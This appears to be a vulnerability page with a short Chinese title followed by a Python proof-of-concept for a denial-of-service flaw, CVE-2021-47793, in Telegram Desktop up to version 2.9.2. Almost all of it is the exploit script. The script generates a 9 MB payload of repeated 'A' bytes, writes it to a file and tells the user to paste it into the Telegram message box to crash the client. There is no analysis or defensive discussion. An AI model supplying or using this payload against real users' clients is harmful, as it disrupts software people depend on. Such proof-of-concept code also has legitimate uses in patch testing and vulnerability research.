CVE-2021-47793 Telegram Desktop拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2021-47793 Telegram Desktop DoS PoC Target: Telegram Desktop <= 2.9.2 Description: Generates oversized message payload to trigger DoS """ import struct def generate_oversized_payload(size_bytes=9000000): """ Generate oversized message payload for Telegram Desktop DoS attack Args: size_bytes: Size of the payload in bytes (default: 9MB) Returns: bytes: Oversized message payload """ # Generate payload with repeating pattern to trigger parsing issue pattern = b'A' * 1000 # 1KB pattern payload_size = size_bytes # Create payload by repeating pattern full_chunks = payload_size // 1000 remainder = payload_size % 1000 payload = pattern * full_chunks + b'A' * remainder return payload def create_telegram_message_payload(): """ Create Telegram message payload structure This simulates the message format that Telegram Desktop processes """ oversized_content = generate_oversized_payload(9000000) # Telegram message structure simulation message = { 'message_id': 12345, 'from_id': 999999999, 'chat_id': -1001234567890, 'date': 1640000000, 'text': oversized_content, 'entities': [], 'via_bot': None } return message def exploit(): """ Main exploit function Generate and save the malicious payload """ print("[*] Generating CVE-2021-47793 DoS payload...") print("[*] Target: Telegram Desktop <= 2.9.2") print("[*] Payload size: 9,000,000 bytes (9MB)") payload = generate_oversized_payload(9000000) # Save payload to file for manual use with open('cve_2021_47793_payload.txt', 'wb') as f: f.write(payload) print(f"[+] Payload generated successfully") print(f"[+] Payload size: {len(payload)} bytes") print(f"[+] Payload saved to: cve_2021_47793_payload.txt") print("[!] To exploit: Copy the payload content and paste into Telegram Desktop message input") return payload if __name__ == "__main__": exploit()